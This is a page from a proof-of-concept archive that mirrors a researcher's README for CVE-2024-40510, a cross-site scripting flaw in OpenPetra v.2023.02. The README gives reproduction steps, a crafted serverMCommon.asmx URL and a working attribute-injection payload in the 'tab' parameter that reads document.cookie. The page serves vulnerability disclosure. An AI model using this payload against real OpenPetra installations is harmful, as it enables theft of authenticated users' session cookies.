Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-40510 PoC — OpenPetra 安全漏洞

Source
Associated Vulnerability
Title:OpenPetra 安全漏洞 (CVE-2024-40510)
Description:Cross Site Scripting vulnerability in openPetra v.2023.02 allows a remote attacker to obtain sensitive information via the serverMCommon.asmx function.
Description
OpenPetra v.2023.02 CVE-2024-40510
Readme
# CVE-2024-40510
# Cross Site Scripting vulnerability in openPetra v.2023.02 via the serverMCommon.asmx function.

**Description**: An unauthenticated user can steal cookies from authenticated user, by exploiting a XSS in openPetra v.2023.02 via the serverMCommon.asmx function.

**Vulnerable Product Version**: openPetra v.2023.02  
**CVE Author**: Jansen Moreira 
**Date**: 13/07/2024  
**CVE**: CVE-2024-40510  
**CVE Link**: https://www.cve.org/CVERecord?id=CVE-2024-40510  
**NVD Link**: https://nvd.nist.gov/vuln/detail/CVE-2024-40510     
**Tenable Link**: https://www.tenable.com/cve/CVE-2024-40510     
**Confirmed on**: 13/07/2024                               
**Tested on**: Linux  
### Steps to reproduce:  
1- Access the home Page  
2- Use the following path and add the xss payload in the tab parametrer. EX.:  ```http://target.com/api/serverMCommon.asmx?bnd=TMCommonWebServiceSoap&op=TFormTemplatesWebConnector_UploadFinanceFormTemplate&page=op&tab=x```         
3- Hover the mouse over the left index item to trigger the XSS  

**Payloads**:  
tab: x" onmouseover=alert(document.cookie) x="


Discoverer(s)/Credits:
Jansen Moreira 
File Snapshot

[4.0K] /data/pocs/6acefa29ec383064d470f23bd82c8a307c1f4d84 └── [1.1K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →